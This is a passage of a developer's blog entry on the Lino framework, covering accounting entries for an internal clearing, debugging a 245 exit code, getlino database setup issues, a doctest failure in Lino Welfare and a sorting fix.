&lt;p&gt;I continued entering our accounting into &lt;a class="reference external" href="https://dev.lino-framework.org/apps.html#cosi" title="(in Lino Developer Guide)"&gt;&lt;span&gt;Lino Così&lt;/span&gt;&lt;/a&gt;.  I am still fiddling on
EKR 7/2018, which is our first case of internal clearing (&lt;a class="extlink-ticket reference external" href="https://jane.mylino.net/#/api/tickets/AllTickets/3106"&gt;#3106&lt;/a&gt;).&lt;/p&gt;
&lt;p&gt;How it looked in TIM:&lt;/p&gt;
&lt;div class="highlight-default notranslate"&gt;&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;Accnt  Z Bezeichnung                    Debit      Credit     *
──────┬─┬──────────────────────────────┬──────────┬──────────┬─
440000│E│Eesti Energia AS              │          │     79.97│*
440000│E│Eesti Energia AS              │     79.97│          │*
440000│E│Saffre Luc                    │          │     79.97│*
614100│ │Elekter                       │     23.33│          │
472200│ │Deklareerimata käibemaks saada│      4.66│          │
440020│ │Hankijad (arveldatud töötajate│     51.98│          │*
      │ │Saldo D=                      │    159.94│    159.94│
&lt;/pre&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;I decided to introduce a few subtle changes compared to TIM. While TIM booked
the third movement using the suppliers general account, Lino books it into a new
account “Internal clearings”.  And I map account 440020 to 600020 (i.e. we
classify it as a costs account rather than a credits account). How it looks in
Lino:&lt;/p&gt;
&lt;table class="docutils align-default"&gt;
&lt;tbody&gt;
&lt;tr class="row-odd"&gt;&lt;td&gt;&lt;p&gt;Account&lt;/p&gt;&lt;/td&gt;
&lt;td&gt;&lt;p&gt;Partner&lt;/p&gt;&lt;/td&gt;
&lt;td&gt;&lt;p&gt;Debit&lt;/p&gt;&lt;/td&gt;
&lt;td&gt;&lt;p&gt;Credit&lt;/p&gt;&lt;/td&gt;
&lt;td&gt;&lt;p&gt;Match&lt;/p&gt;&lt;/td&gt;
&lt;td&gt;&lt;p&gt;Cleared&lt;/p&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr class="row-even"&gt;&lt;td&gt;&lt;p&gt;440000 Suppliers&lt;/p&gt;&lt;/td&gt;
&lt;td&gt;&lt;p&gt;Eesti Energia AS&lt;/p&gt;&lt;/td&gt;
&lt;td&gt;&lt;/td&gt;
&lt;td&gt;&lt;p&gt;79.97&lt;/p&gt;&lt;/td&gt;
&lt;td&gt;&lt;p&gt;&lt;strong&gt;EKR 7/2018&lt;/strong&gt;&lt;/p&gt;&lt;/td&gt;
&lt;td&gt;&lt;p&gt;Yes&lt;/p&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr class="row-odd"&gt;&lt;td&gt;&lt;p&gt;440000 Suppliers&lt;/p&gt;&lt;/td&gt;
&lt;td&gt;&lt;p&gt;Eesti Energia AS&lt;/p&gt;&lt;/td&gt;
&lt;td&gt;&lt;p&gt;79.97&lt;/p&gt;&lt;/td&gt;
&lt;td&gt;&lt;/td&gt;
&lt;td&gt;&lt;p&gt;&lt;strong&gt;EKR 7/2018&lt;/strong&gt;&lt;/p&gt;&lt;/td&gt;
&lt;td&gt;&lt;p&gt;Yes&lt;/p&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr class="row-even"&gt;&lt;td&gt;&lt;p&gt;462100 Internal clearings&lt;/p&gt;&lt;/td&gt;
&lt;td&gt;&lt;p&gt;Saffre Luc&lt;/p&gt;&lt;/td&gt;
&lt;td&gt;&lt;/td&gt;
&lt;td&gt;&lt;p&gt;79.97&lt;/p&gt;&lt;/td&gt;
&lt;td&gt;&lt;p&gt;&lt;strong&gt;EKR 7/2018&lt;/strong&gt;&lt;/p&gt;&lt;/td&gt;
&lt;td&gt;&lt;p&gt;No&lt;/p&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr class="row-odd"&gt;&lt;td&gt;&lt;p&gt;472200 VAT deductible&lt;/p&gt;&lt;/td&gt;
&lt;td&gt;&lt;/td&gt;
&lt;td&gt;&lt;p&gt;13.32&lt;/p&gt;&lt;/td&gt;
&lt;td&gt;&lt;/td&gt;
&lt;td&gt;&lt;/td&gt;
&lt;td&gt;&lt;p&gt;Yes&lt;/p&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr class="row-even"&gt;&lt;td&gt;&lt;p&gt;600020 Costs paid for workers (to be paid back)&lt;/p&gt;&lt;/td&gt;
&lt;td&gt;&lt;/td&gt;
&lt;td&gt;&lt;p&gt;23.33&lt;/p&gt;&lt;/td&gt;
&lt;td&gt;&lt;/td&gt;
&lt;td&gt;&lt;/td&gt;
&lt;td&gt;&lt;p&gt;Yes&lt;/p&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr class="row-odd"&gt;&lt;td&gt;&lt;p&gt;614100 Electricity&lt;/p&gt;&lt;/td&gt;
&lt;td&gt;&lt;/td&gt;
&lt;td&gt;&lt;p&gt;43.32
&lt;strong&gt;159.94&lt;/strong&gt;&lt;/p&gt;&lt;/td&gt;
&lt;td&gt;&lt;p&gt;&lt;strong&gt;159.94&lt;/strong&gt;&lt;/p&gt;&lt;/td&gt;
&lt;td&gt;&lt;/td&gt;
&lt;td&gt;&lt;p&gt;Yes&lt;/p&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;More optimizations en passant:&lt;/p&gt;
&lt;p&gt;I fixed a bug in &lt;a class="reference external" href="https://dev.lino-framework.org/api/lino_xl.lib.accounting.html#module-lino_xl.lib.accounting" title="(in Lino Developer Guide)"&gt;&lt;code class="xref py py-mod docutils literal notranslate"&gt;&lt;span class="pre"&gt;lino_xl.lib.accounting&lt;/span&gt;&lt;/code&gt;&lt;/a&gt; : when the
&lt;code class="xref py py-attr docutils literal notranslate"&gt;&lt;span class="pre"&gt;Account.common_account&lt;/span&gt;&lt;/code&gt; was updated via the web interface, Lino did not
“realize” this until the server process was restarted. Fixed. To do this without
any hack, I added a new method
&lt;a class="reference external" href="https://dev.lino-framework.org/api/lino.core.diff.html#lino.core.diff.ChangeWatcher.get_old_value" title="(in Lino Developer Guide)"&gt;&lt;code class="xref py py-meth docutils literal notranslate"&gt;&lt;span class="pre"&gt;lino.core.diff.ChangeWatcher.get_old_value()&lt;/span&gt;&lt;/code&gt;&lt;/a&gt;.&lt;/p&gt;
&lt;/section&gt;
&lt;section id="inv-prep-test-ended-with-error-245-in-project-book"&gt;
&lt;h2&gt;inv prep test ended with error 245 in project book&lt;a class="headerlink" href="#inv-prep-test-ended-with-error-245-in-project-book" title="Link to this heading"&gt;¶&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;This morning, before going to bed, I told my computer  to
&lt;code class="xref std std-cmd docutils literal notranslate"&gt;&lt;span class="pre"&gt;pp&lt;/span&gt; &lt;span class="pre"&gt;-a&lt;/span&gt; &lt;span class="pre"&gt;welfare&lt;/span&gt; &lt;span class="pre"&gt;inv&lt;/span&gt; &lt;span class="pre"&gt;prep&lt;/span&gt; &lt;span class="pre"&gt;test&lt;/span&gt;&lt;/code&gt;.
It worked its way through the demo projects, running
&lt;code class="xref std std-cmd docutils literal notranslate"&gt;&lt;span class="pre"&gt;manage.py&lt;/span&gt; &lt;span class="pre"&gt;prep&lt;/span&gt; &lt;span class="pre"&gt;--noinput&lt;/span&gt; &lt;span class="pre"&gt;--traceback&lt;/span&gt;&lt;/code&gt; in each of them.
And then, out of
nowhere, in &lt;a class="reference external" href="https://dev.lino-framework.org/projects/tera1.html#module-lino_book.projects.tera1" title="(in Lino Developer Guide)"&gt;&lt;code class="xref py py-mod docutils literal notranslate"&gt;&lt;span class="pre"&gt;lino_book.projects.tera1&lt;/span&gt;&lt;/code&gt;&lt;/a&gt;, (the 30th of the 46 demo projects),
that command fails.  It says:&lt;/p&gt;
&lt;div class="highlight-default notranslate"&gt;&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;span class="n"&gt;CommandError&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;inv&lt;/span&gt; &lt;span class="n"&gt;prep&lt;/span&gt; &lt;span class="n"&gt;test&lt;/span&gt; &lt;span class="n"&gt;ended&lt;/span&gt; &lt;span class="k"&gt;with&lt;/span&gt; &lt;span class="n"&gt;error&lt;/span&gt; &lt;span class="mi"&gt;245&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="n"&gt;project&lt;/span&gt; &lt;span class="n"&gt;book&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;When I manually run the command that failed, it does not fail again.&lt;/p&gt;
&lt;p&gt;What does exit code 245 mean? Does it have a special meaning?  “When a command
terminates on a fatal signal whose number is N, Bash uses the value 128+N as the
exit status.” (&lt;a class="reference external" href="https://www.gnu.org/software/bash/manual/html_node/Exit-Status.html"&gt;gnu.org&lt;/a&gt;)
See also &lt;a class="reference external" href="http://tldp.org/LDP/abs/html/exitcodes.html"&gt;tldp.org&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;245 - 128 = 117 and my question becomes “What means signal 117?”.
I scanned the &lt;a class="reference external" href="http://man7.org/linux/man-pages/man7/signal.7.html"&gt;man page&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;Other people had this exit code. For examples
&lt;a class="reference external" href="https://stackoverflow.com/questions/10054073/failed-with-exit-code-245-xcode"&gt;here&lt;/a&gt;
and &lt;a class="reference external" href="https://github.com/pytest-dev/pytest/issues/1838"&gt;here&lt;/a&gt;.`&lt;/p&gt;
&lt;p&gt;But &lt;cite&gt;256 - 11 = 245&lt;/cite&gt;. So the number might just mean that signal -11
(Segmentation fault) was received. This can simply be caused by Low memory or
Faulty Ram memory (&lt;a class="reference external" href="https://stackoverflow.com/questions/10035541/what-causes-a-python-segmentation-fault"&gt;link&lt;/a&gt;)&lt;/p&gt;
&lt;p&gt;I cleaned up some places that caused warnings about unclosed resources.&lt;/p&gt;
&lt;/section&gt;
&lt;section id="getlino-doesn-t-start-the-database-server"&gt;
&lt;h2&gt;getlino doesn’t start the database server&lt;a class="headerlink" href="#getlino-doesn-t-start-the-database-server" title="Link to this heading"&gt;¶&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;I noticed that &lt;a class="reference external" href="https://lino-framework.gitlab.io/getlino/ref/configure.html#command-getlino-configure" title="(in getlino docs)"&gt;&lt;code class="xref std std-cmd docutils literal notranslate"&gt;&lt;span class="pre"&gt;getlino&lt;/span&gt; &lt;span class="pre"&gt;configure&lt;/span&gt;&lt;/code&gt;&lt;/a&gt; did not start the database server.
Probably fixed. The &lt;code class="docutils literal notranslate"&gt;&lt;span class="pre"&gt;DB_ENGINES&lt;/span&gt;&lt;/code&gt; list has a new new column &lt;code class="xref py py-attr docutils literal notranslate"&gt;&lt;span class="pre"&gt;service&lt;/span&gt;&lt;/code&gt;.
There was maybe also a bug in &lt;code class="xref py py-meth docutils literal notranslate"&gt;&lt;span class="pre"&gt;getlino.utils.Installer.setup_database()&lt;/span&gt;&lt;/code&gt;,
the &lt;a class="reference external" href="https://lino-framework.gitlab.io/getlino/api/getlino.utils.html#getlino.utils.Installer.runcmd" title="(in getlino docs)"&gt;&lt;code class="xref py py-meth docutils literal notranslate"&gt;&lt;span class="pre"&gt;runcmd&lt;/span&gt;&lt;/code&gt;&lt;/a&gt; was called with  &lt;code class="xref std std-cmd docutils literal notranslate"&gt;&lt;span class="pre"&gt;sudo&lt;/span&gt;
&lt;span class="pre"&gt;-u&lt;/span&gt; &lt;span class="pre"&gt;postgres&lt;/span&gt; &lt;span class="pre"&gt;-c&lt;/span&gt; &lt;span class="pre"&gt;bash&lt;/span&gt; &lt;span class="pre"&gt;&amp;quot;{cmd}&amp;quot;&lt;/span&gt;&lt;/code&gt; but (imho) &lt;code class="xref std std-cmd docutils literal notranslate"&gt;&lt;span class="pre"&gt;sudo&lt;/span&gt; &lt;span class="pre"&gt;-u&lt;/span&gt; &lt;span class="pre"&gt;postgres&lt;/span&gt; &lt;span class="pre"&gt;{cmd}&lt;/span&gt;&lt;/code&gt; is enough.&lt;/p&gt;
&lt;p&gt;En passant I saw that on Ubuntu Bionic our getlino would fail:&lt;/p&gt;
&lt;div class="highlight-default notranslate"&gt;&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;span class="n"&gt;Package&lt;/span&gt; &lt;span class="n"&gt;libmysqlclient&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;dev&lt;/span&gt; &lt;span class="ow"&gt;is&lt;/span&gt; &lt;span class="ow"&gt;not&lt;/span&gt; &lt;span class="n"&gt;available&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;but&lt;/span&gt; &lt;span class="ow"&gt;is&lt;/span&gt; &lt;span class="n"&gt;referred&lt;/span&gt; &lt;span class="n"&gt;to&lt;/span&gt; &lt;span class="n"&gt;by&lt;/span&gt; &lt;span class="n"&gt;another&lt;/span&gt; &lt;span class="n"&gt;package&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;
&lt;span class="n"&gt;This&lt;/span&gt; &lt;span class="n"&gt;may&lt;/span&gt; &lt;span class="n"&gt;mean&lt;/span&gt; &lt;span class="n"&gt;that&lt;/span&gt; &lt;span class="n"&gt;the&lt;/span&gt; &lt;span class="n"&gt;package&lt;/span&gt; &lt;span class="ow"&gt;is&lt;/span&gt; &lt;span class="n"&gt;missing&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;has&lt;/span&gt; &lt;span class="n"&gt;been&lt;/span&gt; &lt;span class="n"&gt;obsoleted&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="ow"&gt;or&lt;/span&gt;
&lt;span class="ow"&gt;is&lt;/span&gt; &lt;span class="n"&gt;only&lt;/span&gt; &lt;span class="n"&gt;available&lt;/span&gt; &lt;span class="kn"&gt;from&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nn"&gt;another&lt;/span&gt; &lt;span class="n"&gt;source&lt;/span&gt;
&lt;span class="n"&gt;However&lt;/span&gt; &lt;span class="n"&gt;the&lt;/span&gt; &lt;span class="n"&gt;following&lt;/span&gt; &lt;span class="n"&gt;packages&lt;/span&gt; &lt;span class="n"&gt;replace&lt;/span&gt; &lt;span class="n"&gt;it&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
  &lt;span class="n"&gt;libmariadb&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;dev&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;compat&lt;/span&gt; &lt;span class="n"&gt;libmariadb&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;dev&lt;/span&gt;

&lt;span class="n"&gt;E&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;Package&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;libmysqlclient-dev&amp;#39;&lt;/span&gt; &lt;span class="n"&gt;has&lt;/span&gt; &lt;span class="n"&gt;no&lt;/span&gt; &lt;span class="n"&gt;installation&lt;/span&gt; &lt;span class="n"&gt;candidate&lt;/span&gt;
&lt;span class="n"&gt;E&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;Package&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;mysql-server&amp;#39;&lt;/span&gt; &lt;span class="n"&gt;has&lt;/span&gt; &lt;span class="n"&gt;no&lt;/span&gt; &lt;span class="n"&gt;installation&lt;/span&gt; &lt;span class="n"&gt;candidate&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;/section&gt;
&lt;section id="changing-number-of-calendar-entries-in-welfare-demo-project"&gt;
&lt;h2&gt;Changing number of calendar entries in welfare demo project?&lt;a class="headerlink" href="#changing-number-of-calendar-entries-in-welfare-demo-project" title="Link to this heading"&gt;¶&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;I “fixed” the following failure in &lt;a class="reference external" href="https://welfare.lino-framework.org/index.html#welfare" title="(in Lino Welfare)"&gt;&lt;span&gt;Lino Welfare&lt;/span&gt;&lt;/a&gt; by adapting the expected
output.  Though I am quite sure that a few days ago I did exactly the opposite.
I have no explanation yet.&lt;/p&gt;
&lt;div class="highlight-default notranslate"&gt;&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;span class="n"&gt;File&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot;docs/specs/weleup/eupen.rst&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;line&lt;/span&gt; &lt;span class="mi"&gt;1033&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="n"&gt;eupen&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;rst&lt;/span&gt;
&lt;span class="n"&gt;Failed&lt;/span&gt; &lt;span class="n"&gt;example&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
    &lt;span class="n"&gt;walk_menu_items&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;rolf&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;severe&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="kc"&gt;False&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="c1"&gt;#doctest: +ELLIPSIS +NORMALIZE_WHITESPACE +REPORT_UDIFF&lt;/span&gt;
&lt;span class="n"&gt;Differences&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;unified&lt;/span&gt; &lt;span class="n"&gt;diff&lt;/span&gt; &lt;span class="k"&gt;with&lt;/span&gt; &lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;expected&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="n"&gt;actual&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
    &lt;span class="o"&gt;@@&lt;/span&gt; &lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="mi"&gt;12&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="mi"&gt;5&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;12&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="mi"&gt;5&lt;/span&gt; &lt;span class="o"&gt;@@&lt;/span&gt;
     &lt;span class="o"&gt;-&lt;/span&gt; &lt;span class="n"&gt;Büro&lt;/span&gt; &lt;span class="o"&gt;--&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;Meine&lt;/span&gt; &lt;span class="n"&gt;Datenkontrollliste&lt;/span&gt; &lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;
     &lt;span class="o"&gt;-&lt;/span&gt; &lt;span class="n"&gt;Kalender&lt;/span&gt; &lt;span class="o"&gt;--&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;Meine&lt;/span&gt; &lt;span class="n"&gt;Termine&lt;/span&gt; &lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="mi"&gt;6&lt;/span&gt;
    &lt;span class="o"&gt;--&lt;/span&gt; &lt;span class="n"&gt;Kalender&lt;/span&gt; &lt;span class="o"&gt;--&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;Überfällige&lt;/span&gt; &lt;span class="n"&gt;Termine&lt;/span&gt; &lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="mi"&gt;81&lt;/span&gt;
    &lt;span class="o"&gt;+-&lt;/span&gt; &lt;span class="n"&gt;Kalender&lt;/span&gt; &lt;span class="o"&gt;--&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;Überfällige&lt;/span&gt; &lt;span class="n"&gt;Termine&lt;/span&gt; &lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="mi"&gt;37&lt;/span&gt;
     &lt;span class="o"&gt;-&lt;/span&gt; &lt;span class="n"&gt;Kalender&lt;/span&gt; &lt;span class="o"&gt;--&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;Meine&lt;/span&gt; &lt;span class="n"&gt;unbestätigten&lt;/span&gt; &lt;span class="n"&gt;Termine&lt;/span&gt; &lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="mi"&gt;3&lt;/span&gt;
     &lt;span class="o"&gt;-&lt;/span&gt; &lt;span class="n"&gt;Kalender&lt;/span&gt; &lt;span class="o"&gt;--&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;Meine&lt;/span&gt; &lt;span class="n"&gt;Aufgaben&lt;/span&gt; &lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="mi"&gt;1&lt;/span&gt;
    &lt;span class="o"&gt;@@&lt;/span&gt; &lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="mi"&gt;70&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="mi"&gt;5&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;70&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="mi"&gt;5&lt;/span&gt; &lt;span class="o"&gt;@@&lt;/span&gt;
     &lt;span class="o"&gt;-&lt;/span&gt; &lt;span class="n"&gt;Konfigurierung&lt;/span&gt; &lt;span class="o"&gt;--&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;Büro&lt;/span&gt; &lt;span class="o"&gt;--&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;Ereignisarten&lt;/span&gt; &lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="mi"&gt;11&lt;/span&gt;
     &lt;span class="o"&gt;-&lt;/span&gt; &lt;span class="n"&gt;Konfigurierung&lt;/span&gt; &lt;span class="o"&gt;--&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;Büro&lt;/span&gt; &lt;span class="o"&gt;--&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;Meine&lt;/span&gt; &lt;span class="n"&gt;Einfügetexte&lt;/span&gt; &lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="mi"&gt;1&lt;/span&gt;
    &lt;span class="o"&gt;--&lt;/span&gt; &lt;span class="n"&gt;Konfigurierung&lt;/span&gt; &lt;span class="o"&gt;--&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;Kalender&lt;/span&gt; &lt;span class="o"&gt;--&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;Kalenderliste&lt;/span&gt; &lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="o"&gt;...&lt;/span&gt;
    &lt;span class="o"&gt;+-&lt;/span&gt; &lt;span class="n"&gt;Konfigurierung&lt;/span&gt; &lt;span class="o"&gt;--&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;Kalender&lt;/span&gt; &lt;span class="o"&gt;--&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;Kalenderliste&lt;/span&gt; &lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="mi"&gt;12&lt;/span&gt;
     &lt;span class="o"&gt;-&lt;/span&gt; &lt;span class="n"&gt;Konfigurierung&lt;/span&gt; &lt;span class="o"&gt;--&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;Kalender&lt;/span&gt; &lt;span class="o"&gt;--&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;Räume&lt;/span&gt; &lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="mi"&gt;1&lt;/span&gt;
     &lt;span class="o"&gt;-&lt;/span&gt; &lt;span class="n"&gt;Konfigurierung&lt;/span&gt; &lt;span class="o"&gt;--&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;Kalender&lt;/span&gt; &lt;span class="o"&gt;--&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;Regelmäßige&lt;/span&gt; &lt;span class="n"&gt;Ereignisse&lt;/span&gt; &lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="mi"&gt;16&lt;/span&gt;
    &lt;span class="o"&gt;@@&lt;/span&gt; &lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="mi"&gt;140&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="mi"&gt;5&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;140&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="mi"&gt;5&lt;/span&gt; &lt;span class="o"&gt;@@&lt;/span&gt;
     &lt;span class="o"&gt;-&lt;/span&gt; &lt;span class="n"&gt;Explorer&lt;/span&gt; &lt;span class="o"&gt;--&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;Büro&lt;/span&gt; &lt;span class="o"&gt;--&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;Ereignisse&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;Notizen&lt;/span&gt; &lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="mi"&gt;112&lt;/span&gt;
     &lt;span class="o"&gt;-&lt;/span&gt; &lt;span class="n"&gt;Explorer&lt;/span&gt; &lt;span class="o"&gt;--&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;Büro&lt;/span&gt; &lt;span class="o"&gt;--&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;Einfügetexte&lt;/span&gt; &lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="mi"&gt;3&lt;/span&gt;
    &lt;span class="o"&gt;--&lt;/span&gt; &lt;span class="n"&gt;Explorer&lt;/span&gt; &lt;span class="o"&gt;--&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;Kalender&lt;/span&gt; &lt;span class="o"&gt;--&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;Kalendereinträge&lt;/span&gt; &lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="mi"&gt;358&lt;/span&gt;
    &lt;span class="o"&gt;+-&lt;/span&gt; &lt;span class="n"&gt;Explorer&lt;/span&gt; &lt;span class="o"&gt;--&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;Kalender&lt;/span&gt; &lt;span class="o"&gt;--&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;Kalendereinträge&lt;/span&gt; &lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="mi"&gt;311&lt;/span&gt;
     &lt;span class="o"&gt;-&lt;/span&gt; &lt;span class="n"&gt;Explorer&lt;/span&gt; &lt;span class="o"&gt;--&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;Kalender&lt;/span&gt; &lt;span class="o"&gt;--&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;Aufgaben&lt;/span&gt; &lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="mi"&gt;37&lt;/span&gt;
     &lt;span class="o"&gt;-&lt;/span&gt; &lt;span class="n"&gt;Explorer&lt;/span&gt; &lt;span class="o"&gt;--&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;Kalender&lt;/span&gt; &lt;span class="o"&gt;--&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;Anwesenheiten&lt;/span&gt; &lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="mi"&gt;620&lt;/span&gt;
&lt;span class="o"&gt;**********************************************************************&lt;/span&gt;
&lt;span class="mi"&gt;1&lt;/span&gt; &lt;span class="n"&gt;items&lt;/span&gt; &lt;span class="n"&gt;had&lt;/span&gt; &lt;span class="n"&gt;failures&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
   &lt;span class="mi"&gt;1&lt;/span&gt; &lt;span class="n"&gt;of&lt;/span&gt;  &lt;span class="mi"&gt;26&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="n"&gt;eupen&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;rst&lt;/span&gt;
&lt;span class="o"&gt;***&lt;/span&gt;&lt;span class="n"&gt;Test&lt;/span&gt; &lt;span class="n"&gt;Failed&lt;/span&gt;&lt;span class="o"&gt;***&lt;/span&gt; &lt;span class="mi"&gt;1&lt;/span&gt; &lt;span class="n"&gt;failures&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;/section&gt;
&lt;section id="id1"&gt;
&lt;h2&gt;Accounting&lt;a class="headerlink" href="#id1" title="Link to this heading"&gt;¶&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;&lt;a class="reference external" href="https://dev.lino-framework.org/plugins/vat.html#lino_xl.lib.vat.InvoicesByJournal" title="(in Lino Developer Guide)"&gt;&lt;code class="xref py py-class docutils literal notranslate"&gt;&lt;span class="pre"&gt;lino_xl.lib.vat.InvoicesByJournal&lt;/span&gt;&lt;/code&gt;&lt;/a&gt; did not display the right sorting
order. It was using [‘-id’] instead of the order defined in
&lt;a class="reference external" href="https://dev.lino-framework.org/plugins/accounting.html#lino_xl.lib.accounting.ByJournal" title="(in Lino Developer Guide)"&gt;&lt;code class="xref py py-class docutils literal notranslate"&gt;&lt;span class="pre"&gt;lino_xl.lib.accounting.ByJournal&lt;/span&gt;&lt;/code&gt;&lt;/a&gt;.&lt;/p&gt;
&lt;/section&gt;
&lt;section id="duration-object-has-no-attribute-text"&gt;
